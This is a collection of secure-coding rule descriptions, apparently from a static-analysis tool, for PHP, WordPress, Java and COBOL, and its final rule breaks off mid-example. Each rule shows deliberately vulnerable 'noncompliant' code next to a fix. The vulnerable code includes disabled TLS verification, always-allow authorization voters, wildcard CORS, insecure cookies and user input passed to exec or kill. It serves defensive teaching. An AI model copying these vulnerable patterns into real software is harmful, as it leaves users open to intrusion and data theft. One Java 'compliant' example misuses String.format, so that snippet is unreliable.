How to fix it in Core PHP

Code examples

The following code contains examples of hard-coded salts.

Noncompliant code example

$salt = 'salty';
$hash = hash_pbkdf2('sha256', $password, $salt, 100000); // Noncompliant

Compliant solution

$salt = random_bytes(16);
$hash = hash_pbkdf2('sha256', $password, $salt, 100000);

How does this work?

This code ensures that each user’s password has a unique salt value associated with it. It generates a salt randomly and with a length that provides the required security level. It uses a salt length of at least 16 bytes (128 bits), as recommended by industry standards.

Here, the compliant code example ensures the salt is random and has a sufficient length by calling the random_bytes function with a length parameter set to 16. This one internally uses a cryptographically secure pseudo random number generator.

Resources

Standards

• OWASP Top 10:2021 A02:2021 - Cryptographic Failures
• OWASP - Top 10 2017 - A03:2017 - Sensitive Data Exposure
• CWE - CWE-759: Use of a One-Way Hash without a Salt
• CWE - CWE-760: Use of a One-Way Hash with a Predictable Salt

By default, the WordPress administrator and editor roles can add unfiltered HTML content in various places, such as post content. This includes the capability to add JavaScript code.

If an account with such a role gets hijacked, this capability can be used to plant malicious JavaScript code that gets executed whenever somebody visits the website.

Ask Yourself Whether

• You really need the possibility to add unfiltered HTML with editor or administrator roles.
• There’s a chance that the accounts of authorized users get compromised.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

The unfiltered_html capability should be granted to trusted roles that need to use markup when publishing dynamic content to the WordPress website. If this capability is not required for all users, including administrators and editors roles, then it’s recommended to set DISALLOW_UNFILTERED_HTML to true.

Sensitive Code Example

define( 'DISALLOW_UNFILTERED_HTML', false ); // sensitive

Compliant Solution

define( 'DISALLOW_UNFILTERED_HTML', true );

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• MITRE, CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

External requests initiated by a WordPress server should be considered as security-sensitive. They may contain sensitive data which is stored in the files or in the database of the server. It’s important for the administrator of a WordPress server to understand what they contain and to which server they are sent.

WordPress makes it possible to block external requests by setting the WP_HTTP_BLOCK_EXTERNAL option to true. It’s then possible to authorize requests to only a few servers using another option named WP_ACCESSIBLE_HOSTS.

Ask Yourself Whether

• Your WordPress website contains code which may call external requests to servers you don’t know.
• Your WordPress website may send sensitive data to other servers.
• Your WordPress website uses a lot of plugins or themes.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Uninstall WordPress plugins which send requests to servers you don’t know.
• Make sure that WP_HTTP_BLOCK_EXTERNAL is defined in wp-config.php.
• Make sure that WP_HTTP_BLOCK_EXTERNAL is set to true.
• Make sure that WP_ACCESSIBLE_HOSTS is configured to authorize requests to the servers you trust.

Sensitive Code Example

define( 'WP_HTTP_BLOCK_EXTERNAL', false ); // Sensitive

Compliant Solution

define( 'WP_HTTP_BLOCK_EXTERNAL', true );
define( 'WP_ACCESSIBLE_HOSTS', 'api.wordpress.org' );

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A10 - Server-Side Request Forgery (SSRF)
• wordpress.org - Block External URL Requests
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Attack Category - Server Side Request Forgery
• MITRE, CWE-918 - Server-Side Request Forgery (SSRF)

WordPress has a database repair and optimization mode that can be activated by setting WP_ALLOW_REPAIR to true in the configuration.

If activated, the repair page can be accessed by any user, authenticated or not. This makes sense because if the database is corrupted, the authentication mechanism might not work.

Malicious users could trigger this potentially costly operation repeatadly slowing down the website, and making it unavailable.

Ask Yourself Whether

• The database is not currently corrupted.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

It’s recommended to enable automatic database repair mode only in case of database corruption. This feature should be deactivated again when the database issue is resolved.

Sensitive Code Example

define( 'WP_ALLOW_REPAIR', true ); // Sensitive

Compliant Solution

// The default value is false, so the value does not have to be expilicitly set.
define( 'WP_ALLOW_REPAIR', false );

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• wordpress.org - Automatic Database Optimizing
• OWASP Top 10 2017 Category A6 - Security Misconfiguration

WordPress makes it possible to edit theme and plugin files directly in the Administration Screens. While it may look like an easy way to customize a theme or do a quick change, it’s a dangerous feature. When visiting the theme or plugin editor for the first time, WordPress displays a warning to make it clear that using such a feature may break the web site by mistake. More importantly, users who have access to this feature can trigger the execution of any PHP code and may therefore take full control of the WordPress instance. This security risk could be exploited by an attacker who manages to get access to one of the authorized users. Setting the DISALLOW_FILE_EDIT option to true in wp-config.php disables this risky feature. The default value is false.

Ask Yourself Whether

• You really need to use the theme and plugin editors.
• The theme and plugin editors are available to users who cannot be fully trusted.
• There’s a chance that the accounts of authorized users get compromised.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Modify the theme and plugin files using a local editor and deploy them to the server in a secure way.
• Make sure that DISALLOW_FILE_EDIT is defined in wp-config.php.
• Make sure that DISALLOW_FILE_EDIT is set to true.

Sensitive Code Example

define( 'DISALLOW_FILE_EDIT', false ); // Sensitive

Compliant Solution

define( 'DISALLOW_FILE_EDIT', true );

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2021 Category A4 - Insecure Design
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• wordpress.org - Disable the Plugin and Theme Editor
• OWASP Top 10 2017 Category A1 - Injection
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Top 10 2017 Category A7 - Cross-Site Scripting (XSS)
• MITRE, CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
• MITRE, CWE-94 - Improper Control of Generation of Code ('Code Injection')
• MITRE, CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Automatic updates are a great way of making sure your application gets security updates as soon as they are available. Once a vendor releases a security update, it is crucial to apply it in a timely manner before malicious actors exploit the vulnerability. Relying on manual updates is usually too late, especially if the application is publicly accessible on the internet.

Ask Yourself Whether

• there is no specific reason for deactivating all automatic updates.
• you meant to deactivate only automatic major updates.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Don’t deactivate automatic updates unless you have a good reason to do so. This way, you’ll be sure to receive security updates as soon as they are available. If you are worried about an automatic update breaking something, check if it is possible to only activate automatic updates for minor or security updates.

Sensitive Code Example

define( 'WP_AUTO_UPDATE_CORE', false ); // Sensitive
define( 'AUTOMATIC_UPDATER_DISABLED', true ); // Sensitive

Compliant Solution

define( 'WP_AUTO_UPDATE_CORE', true ); // Minor and major automatic updates enabled
define( 'WP_AUTO_UPDATE_CORE', 'minor' ); // Only minor updates are enabled
define( 'AUTOMATIC_UPDATER_DISABLED', false );

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• Wordpress.org - Disable WordPress Auto Updates
• OWASP Top 10 2017 Category A6 - Security Misconfiguration

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2006-5901
• CVE-2005-3725

Today’s services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery, and deployment:

• The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
• It misleads to use the same address in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service, try to get access to the system, or try to spoof the IP address to bypass security checks. Such attacks can always be possible, but in the case of a hardcoded IP address solving the issue will take more time, which will increase an attack’s impact.

Ask Yourself Whether

The disclosed IP address is sensitive, e.g.:

• Can give information to an attacker about the network topology.
• It’s a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don’t hard-code the IP address in the source code, instead make it configurable with environment variables, configuration files, or a similar approach. Alternatively, if confidentially is not required a domain name can be used since it allows to change the destination quickly without having to rebuild the software.

Sensitive Code Example

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '8.8.8.8', 23);  // Sensitive

Compliant Solution

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, IP_ADDRESS, 23);  // Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
• Broadcast address 255.255.255.255
• Non-routable address 0.0.0.0
• Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID)
• Addresses in the ranges 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, reserved for documentation purposes by RFC 5737
• Addresses in the range 2001:db8::/32, reserved for documentation purposes by RFC 3849

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure

Signaling processes or process groups can seriously affect the stability of this application or other applications on the same system.

Accidentally setting an incorrect PID or signal or allowing untrusted sources to assign arbitrary values to these parameters may result in a denial of service.

Also, the system treats the signal differently if the destination PID is less than or equal to 0. This different behavior may affect multiple processes with the same (E)UID simultaneously if the call is left uncontrolled.

Ask Yourself Whether

• The parameters pid and sig are untrusted (they come from an external source).
• This function is triggered by non-administrators.
• Signal handlers on the target processes stop important functions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• For stateful applications with user management, ensure that only administrators trigger this code.
• Verify that the pid and sig parameters are correct before using them.
• Ensure that the process sending the signals runs with as few OS privileges as possible.
• Isolate the process on the system based on its (E)UID.
• Ensure that the signal does not interrupt any essential functions when intercepted by a target’s signal handlers.

Sensitive Code Example

$targetPid = (int)$_GET["pid"];
posix_kill($targetPid, 9); // Sensitive

Compliant Solution

$targetPid = (int)$_GET["pid"];

// Validate the untrusted PID,
// With a pre-approved list or authorization checks
if (isValidPid($targetPid)) {
    posix_kill($targetPid, 9);
}

See

• MITRE, CWE-283 - Unverified Ownership
• kill(1) — Linux manual page
• kill(2) — Linux manual page

This rule is deprecated, and will eventually be removed.

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2005-2337
• CVE-2017-11449

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

• data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

// Any reference to STDIN is Sensitive
$varstdin = STDIN; // Sensitive
stream_get_line(STDIN, 40); // Sensitive
stream_copy_to_stream(STDIN, STDOUT); // Sensitive
// ...


// Except those references as they can't create an injection vulnerability.
ftruncate(STDIN, 5); // OK
ftell(STDIN); // OK
feof(STDIN); // OK
fseek(STDIN, 5); // OK
fclose(STDIN); // OK


// STDIN can also be referenced like this
$mystdin = 'php://stdin'; // Sensitive

file_get_contents('php://stdin'); // Sensitive
readfile('php://stdin'); // Sensitive

$input = fopen('php://stdin', 'r'); // Sensitive
fclose($input); // OK

See

• MITRE, CWE-20 - Improper Input Validation

This rule is deprecated, and will eventually be removed.

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2018-7281
• CVE-2018-12326
• CVE-2011-3198

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

• any of the command line arguments are used without being sanitized first.
• your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

Builtin access to $argv

function globfunc() {
    global $argv; // Sensitive. Reference to global $argv
    foreach ($argv as $arg) { // Sensitive.
        // ...
    }
}

function myfunc($argv) {
    $param = $argv[0]; // OK. Reference to local $argv parameter
    // ...
}

foreach ($argv as $arg) { // Sensitive. Reference to $argv.
    // ...
}

$myargv = $_SERVER['argv']; // Sensitive. Equivalent to $argv.

function serve() {
    $myargv = $_SERVER['argv']; // Sensitive.
    // ...
}

myfunc($argv); // Sensitive

$myvar = $HTTP_SERVER_VARS[0]; // Sensitive. Note: HTTP_SERVER_VARS has ben removed since PHP 5.4.

$options = getopt('a:b:'); // Sensitive. Parsing arguments.

$GLOBALS["argv"]; // Sensitive. Equivalent to $argv.

function myglobals() {
    $GLOBALS["argv"]; // Sensitive
}

$argv = [1,2,3]; // Sensitive. It is a bad idea to override argv.

Zend Console

new Zend\Console\Getopt(['myopt|m' => 'this is an option']); // Sensitive

Getopt-php library

new \GetOpt\Option('m', 'myoption', \GetOpt\GetOpt::REQUIRED_ARGUMENT); // Sensitive

See

• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-88 - Argument Injection or Modification
• MITRE, CWE-214 - Information Exposure Through Process Environment
• SANS Top 25 - Insecure Interaction Between Components

This vulnerability makes it possible that an encrypted communication is intercepted.

Why is this an issue?

Transport Layer Security (TLS) provides secure communication between systems over the internet by encrypting the data sent between them. The role of certificate validation in this process is to ensure that a system is indeed the one it claims to be, adding an extra layer of trust and security.

When certificate validation is disabled, the client skips this critical check. This creates an opportunity for attackers to pose as a trusted entity and intercept, manipulate, or steal the data being transmitted.

What is the potential impact?

Establishing trust in a secure way is a non-trivial task. When you disable certificate validation, you are removing a key mechanism designed to build this trust in internet communication, opening your system up to a number of potential threats.

Identity spoofing

If a system does not validate certificates, it cannot confirm the identity of the other party involved in the communication. An attacker can exploit this by creating a fake server and masquerading it as a legitimate one. For example, they might set up a server that looks like your bank’s server, tricking your system into thinking it is communicating with the bank. This scenario, called identity spoofing, allows the attacker to collect any data your system sends to them, potentially leading to significant data breaches.

Loss of data integrity

When TLS certificate validation is disabled, the integrity of the data you send and receive cannot be guaranteed. An attacker could modify the data in transit, and you would have no way of knowing. This could range from subtle manipulations of the data you receive to the injection of malicious code or malware into your system. The consequences of such breaches of data integrity can be severe, depending on the nature of the data and the system.

How to fix it in cURL

Code examples

The following code contains examples of disabled certificate validation.

The certificate validation gets disabled by setting CURLOPT_SSL_VERIFYPEER to false. To enable validation set the value to true or do not set CURLOPT_SSL_VERIFYPEER at all to use the secure default value.

Noncompliant code example

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'https://example.com/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // Noncompliant
curl_exec($curl);
curl_close($curl);

Compliant solution

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'https://example.com/');
curl_exec($curl);
curl_close($curl);

How does this work?

Addressing the vulnerability of disabled TLS certificate validation primarily involves re-enabling the default validation.

To avoid running into problems with invalid certificates, consider the following sections.

Using trusted certificates

If possible, always use a certificate issued by a well-known, trusted CA for your server. Most programming environments come with a predefined list of trusted root CAs, and certificates issued by these authorities are validated automatically. This is the best practice, and it requires no additional code or configuration.

Working with self-signed certificates or non-standard CAs

In some cases, you might need to work with a server using a self-signed certificate, or a certificate issued by a CA not included in your trusted roots. Rather than disabling certificate validation in your code, you can add the necessary certificates to your trust store.

Resources

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Mobile Top 10 2016 Category M3 - Insecure Communication
• Mobile AppSec Verification Standard - Network Communication Requirements
• MITRE, CWE-295 - Improper Certificate Validation

Why is this an issue?

Secret keys are used in combination with an algorithm to encrypt data. A typical use case is an authentication system. For such a system to be secure, the secret key should have a value which cannot be guessed and which is long enough to not be vulnerable to brute-force attacks.

A "salt" is an extra piece of data which is included when hashing data such as a password. Its value should have the same properties as a secret key.

This rule raises an issue when it detects that a secret key or a salt has a predictable value or that it’s not long enough.

Noncompliant code example

WordPress:

define('AUTH_KEY', 'hello'); // Noncompliant
define('AUTH_SALT', 'hello'); // Noncompliant
define('AUTH_KEY', 'put your unique phrase here'); // Noncompliant, this is the default value

Compliant solution

WordPress:

define('AUTH_KEY', 'D&ovlU#|CvJ##uNq}bel+^MFtT&.b9{UvR]g%ixsXhGlRJ7q!h}XWdEC[BOKXssj');
define('AUTH_SALT', 'FIsAsXJKL5ZlQo)iD-pt??eUbdc{_Cn<4!d~yqz))&B D?AwK%)+)F2aNwI|siOe');

Resources

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• wordpress.org - WordPress Security Keys

Why is this an issue?

Authorizations granted or not to users to access resources of an application should be based on strong decisions. For instance, checking whether the user is authenticated or not, has the right roles/privileges. It may also depend on the user’s location, or the date, time when the user requests access.

Noncompliant code example

In a Symfony web application:

• the vote method of a VoterInterface type is not compliant when it returns only an affirmative decision (ACCESS_GRANTED):

class NoncompliantVoterInterface implements VoterInterface
{
    public function vote(TokenInterface $token, $subject, array $attributes)
    {
        return self::ACCESS_GRANTED; // Noncompliant
    }
}

• the voteOnAttribute method of a Voter type is not compliant when it returns only an affirmative decision (true):

class NoncompliantVoter extends Voter
{
    protected function supports(string $attribute, $subject)
    {
        return true;
    }

    protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
    {
        return true; // Noncompliant
    }
}

In a Laravel web application:

• the define, before, and after methods of a Gate are not compliant when they return only an affirmative decision (true or Response::allow()):

class NoncompliantGuard
{
    public function boot()
    {
        Gate::define('xxx', function ($user) {
            return true; // Noncompliant
        });

        Gate::define('xxx', function ($user) {
            return Response::allow(); // Noncompliant
        });
    }
}

Compliant solution

In a Symfony web application:

• the vote method of a VoterInterface type should return a negative decision (ACCESS_DENIED) or abstain from making a decision (ACCESS_ABSTAIN):

class CompliantVoterInterface implements VoterInterface
{
    public function vote(TokenInterface $token, $subject, array $attributes)
    {
        if (foo()) {
            return self::ACCESS_GRANTED; // Compliant
        } else if (bar()) {
            return self::ACCESS_ABSTAIN;
        }
        return self::ACCESS_DENIED;
    }
}

• the voteOnAttribute method of a Voter type should return a negative decision (false):

class CompliantVoter extends Voter
{
    protected function supports(string $attribute, $subject)
    {
        return true;
    }

    protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
    {
        if (foo()) {
            return true; // Compliant
        }
        return false;
    }
}

In a Laravel web application:

• the define, before, and after methods of a Gate should return a negative decision (false or Response::deny()) or abstain from making a decision (null):

class NoncompliantGuard
{
    public function boot()
    {
        Gate::define('xxx', function ($user) {
            if (foo()) {
                return true; // Compliant
            }
            return false;
        });

        Gate::define('xxx', function ($user) {
            if (foo()) {
                return Response::allow(); // Compliant
            }
            return Response::deny();
        });
    }
}

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-285 - Improper Authorization

This rule is deprecated, and will eventually be removed.

The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities:

• CVE-2018-12999
• CVE-2018-10285
• CVE-2017-7455

Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user.

Ask Yourself Whether

• Granted permission to an entity (user, application) allow access to information or functionalities not needed by this entity.
• Privileges are easily acquired (eg: based on the location of the user, type of device used, defined by third parties, does not require approval …​).
• Inherited permission, default permission, no privileges (eg: anonymous user) is authorized to access to a protected resource.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

At minimum, an access control system should:

• Use a well-defined access control model like RBAC or ACL.
• Entities' permissions should be reviewed regularly to remove permissions that are no longer needed.
• Respect the principle of least privilege ("an entity has access only the information and resources that are necessary for its legitimate purpose").

Sensitive Code Example

CakePHP

use Cake\Auth\BaseAuthorize;
use Cake\Controller\Controller;

abstract class MyAuthorize extends BaseAuthorize { // Sensitive. Method extending Cake\Auth\BaseAuthorize.
    // ...
}

// Note that "isAuthorized" methods will only be detected in direct subclasses of Cake\Controller\Controller.
abstract class MyController extends Controller {
    public function isAuthorized($user) { // Sensitive. Method called isAuthorized in a Cake\Controller\Controller.
        return false;
    }
}

See

• OWASP Top 10 2017 Category A5 - Broken Access Control
• SANS Top 25 - Porous Defenses
• MITRE, CWE-276 - Incorrect Default Permissions
• MITRE, CWE-732 - Incorrect Permission Assignment for Critical Resource
• MITRE, CWE-668 - Exposure of Resource to Wrong Sphere
• MITRE, CWE-277 - Insecure Inherited Permissions

Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2018-0269
• CVE-2017-14460

Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy.

Ask Yourself Whether

• You don’t trust the origin specified, example: Access-Control-Allow-Origin: untrustedwebsite.com.
• Access control policy is entirely disabled: Access-Control-Allow-Origin: *
• Your access control policy is dynamically defined by a user-controlled input like origin header.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• The Access-Control-Allow-Origin header should be set only for a trusted origin and for specific resources.
• Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks).

Sensitive Code Example

PHP built-in header function:

header("Access-Control-Allow-Origin: *"); // Sensitive

Laravel:

response()->header('Access-Control-Allow-Origin', "*"); // Sensitive

Symfony:

use Symfony\Component\HttpFoundation\Response;

$response = new Response(
    'Content',
    Response::HTTP_OK,
    ['Access-Control-Allow-Origin' => '*'] // Sensitive
);
$response->headers->set('Access-Control-Allow-Origin', '*'); // Sensitive

User-controlled origin:

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

$origin = $request->headers->get('Origin');

$response->headers->set('Access-Control-Allow-Origin', $origin); // Sensitive

Compliant Solution

PHP built-in header function:

header("Access-Control-Allow-Origin: $trusteddomain");

Laravel:

response()->header('Access-Control-Allow-Origin', $trusteddomain);

Symfony:

use Symfony\Component\HttpFoundation\Response;

$response = new Response(
    'Content',
    Response::HTTP_OK,
    ['Access-Control-Allow-Origin' => $trusteddomain]
);

$response->headers->set('Access-Control-Allow-Origin', $trusteddomain);

User-controlled origin validated with an allow-list:

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

$origin = $request->headers->get('Origin');

if (in_array($origin, $trustedOrigins)) {
    $response->headers->set('Access-Control-Allow-Origin', $origin);
}

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• developer.mozilla.org - CORS
• developer.mozilla.org - Same origin policy
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP HTML5 Security Cheat Sheet - Cross Origin Resource Sharing
• MITRE, CWE-346 - Origin Validation Error
• MITRE, CWE-942 - Overly Permissive Cross-domain Whitelist
• SANS Top 25 - Porous Defenses

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

• the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
• it’s not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
• Set the secure flag to true for session-cookies.

Sensitive Code Example

In php.ini you can specify the flags for the session cookie which is security-sensitive:

session.cookie_secure = 0; // Sensitive: this security-sensitive session cookie is created with the secure flag set to false (cookie_secure = 0)

Same thing in PHP code:

session_set_cookie_params($lifetime, $path, $domain, false);
// Sensitive: this security-sensitive session cookie is created with the secure flag (the fourth argument) set to _false_

If you create a custom security-sensitive cookie in your PHP code:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, false);  // Sensitive: a security-sensitive cookie is created with the secure flag  (the sixth argument) set to _false_

By default setcookie and setrawcookie functions set the sixth argument / secure flag to false:

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain);  // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false)
setrawcookie($name, $value, $expire, $path, $domain);  // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false)

Compliant Solution

session.cookie_secure = 1; // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to cookie_secure property set to 1

session_set_cookie_params($lifetime, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the fouth argument) set to true

$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth  argument) set to true
setrawcookie($name, $value, $expire, $path, $domain, true);// Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth argument) set to true

See

• OWASP Top 10 2021 Category A4 - Insecure Design
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-311 - Missing Encryption of Sensitive Data
• MITRE, CWE-315 - Cleartext Storage of Sensitive Information in a Cookie
• MITRE, CWE-614 - Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
• SANS Top 25 - Porous Defenses

Why is this an issue?

The ACCEPT keyword does no editing or error checking of the data it stores, therefore its use can be dangerous. For this reason, ACCEPT should be avoided.

Noncompliant code example

 01 USER-INPUT PIC X(4).

  GET-USER-INPUT.
       MOVE 'N' TO WS-NUMERIC.
       PERFORM UNTIL WS-NUMERIC = 'Y'
           DISPLAY 'ENTER YOUR 4 DIGIT RECORD NUMBER: ' NO ADVANCING
           ACCEPT USER-RECORD *> Noncompliant

Exceptions

This rule ignores uses of ACCEPT FROM with date/time-related inputs.

Resources

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection

Why is this an issue?

Environment variable injection occurs in an application when the application receives data from a user or a third-party service and, without sanitizing it first, does the following:

• Creates an environment variable based on the external data.
• Inserts the external data into certain sensitive environment variables, such as PATH or LD_PRELOAD.

  If an application uses environment variables that are vulnerable to injection, it is exposed
  to a variety of attacks that aim to exploit supposedly safe environment variables, such as `PATH`.
  

A user with malicious intent carefully performs actions aimed at modifying or adding environment variables to profit from it.

What is the potential impact?

When user-supplied values are used to manipulate environment variables, an attacker can supply carefully chosen values that cause the system to behave unexpectedly.
In some cases, the attacker can use this capability to execute arbitrary code on the server.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Application-specific attacks

In this scenario, the attacker manages to inject an environment variable that is recognized and used by the remote system. For example, this could be the secret of a particular cloud provider used in an environment variable, or PATH.

Depending on the application, the attacker can read or modify important data or perform unwanted actions.
For example, injecting data into the HTTP_PROXY variable could lead to data leakage.

Application compromise

In the worst case, an attacker manages to inject an important environment variable such as ` LD _PRELOAD` and execute code by overriding trusted code.

Depending on the attacker, code execution can be used with different intentions:

• Download the internal server’s data, most likely to sell it.
• Modify data, install malware, and for instance, malware that mines cryptocurrencies.
• Stop services or exhaust resources, for instance, with fork bombs.

This threat is particularly insidious if the attacked organization does not maintain a Disaster Recovery Plan (DRP).

How to fix it in Java SE

Code examples

The following code is vulnerable to environment variable manipulation as it constructs the variables from untrusted data.

Noncompliant code example

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  Runtime r = Runtime.getRuntime();
  String userInput = request.getParameter("example");

  if (userInput != null) {
    String[] envs = {userInput};
    r.exec("/path/to/example", userInput);
  } else{
    r.exec("/path/to/example");
  }
}

Compliant solution

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  Runtime r = Runtime.getRuntime();
  String userInput = request.getParameter("example");

  if (userInput != null && userInput.matches("^[a-zA-Z0-9]*$")) {
    String[] envs = {"ENV_VAR=%s".format(userInput)};
    r.exec("/path/to/example", envs);
  } else {
    r.exec("/path/to/example");
  }
}

How does this work?

User input should be properly sanitized and validated, and ideally used only for the value of the environment variable. The environment variable name should be statically defined.

Validation and sanitization could be done by restricting alphanumeric characters for the value and evaluating the name, if not statically defined, against an allowlist of name values.

Resources

Standards

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-454 - External Initialization of Trusted Variables or Data Stores

Why is this an issue?

Applications behave as filesystem oracles when they disclose to attackers if resources from the filesystem exist or not.

A user with malicious intent would inject specially crafted values, such as ../, to change the initially intended path. The resulting path would resolve to a location somewhere in the filesystem which the user should not normally have access to.

What is the potential impact?

An attacker exploiting a filesystem oracle vulnerability can determine if a file exists or not.

The files that can be affected are limited by the permission of the process that runs the application. Worst case scenario: the process runs with elevated privileges, and therefore any file can be affected.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Information gathering

The vulnerability is exploited to gather information about the host system. The filesystem oracle can help identify user accounts, running services, or the exact version of installed software.

How to fix it in Java SE

Code examples

The following code is vulnerable to a file system oracle as it allows testing the existence of a file anywhere on the file system.

Noncompliant code example

import java.io.File;

@Controller
public class ExampleController
{
    static private String targetDirectory = "/path/to/target/directory/";

    @GetMapping(value = "/exists")
    public void delete(@RequestParam("filename") String filename) throws IOException {

        File file = new File(targetDirectory + filename);
        if (!file.exists()) { // Noncompliant
            throw new IOException("File does not exists in the target directory");
        }
    }
}

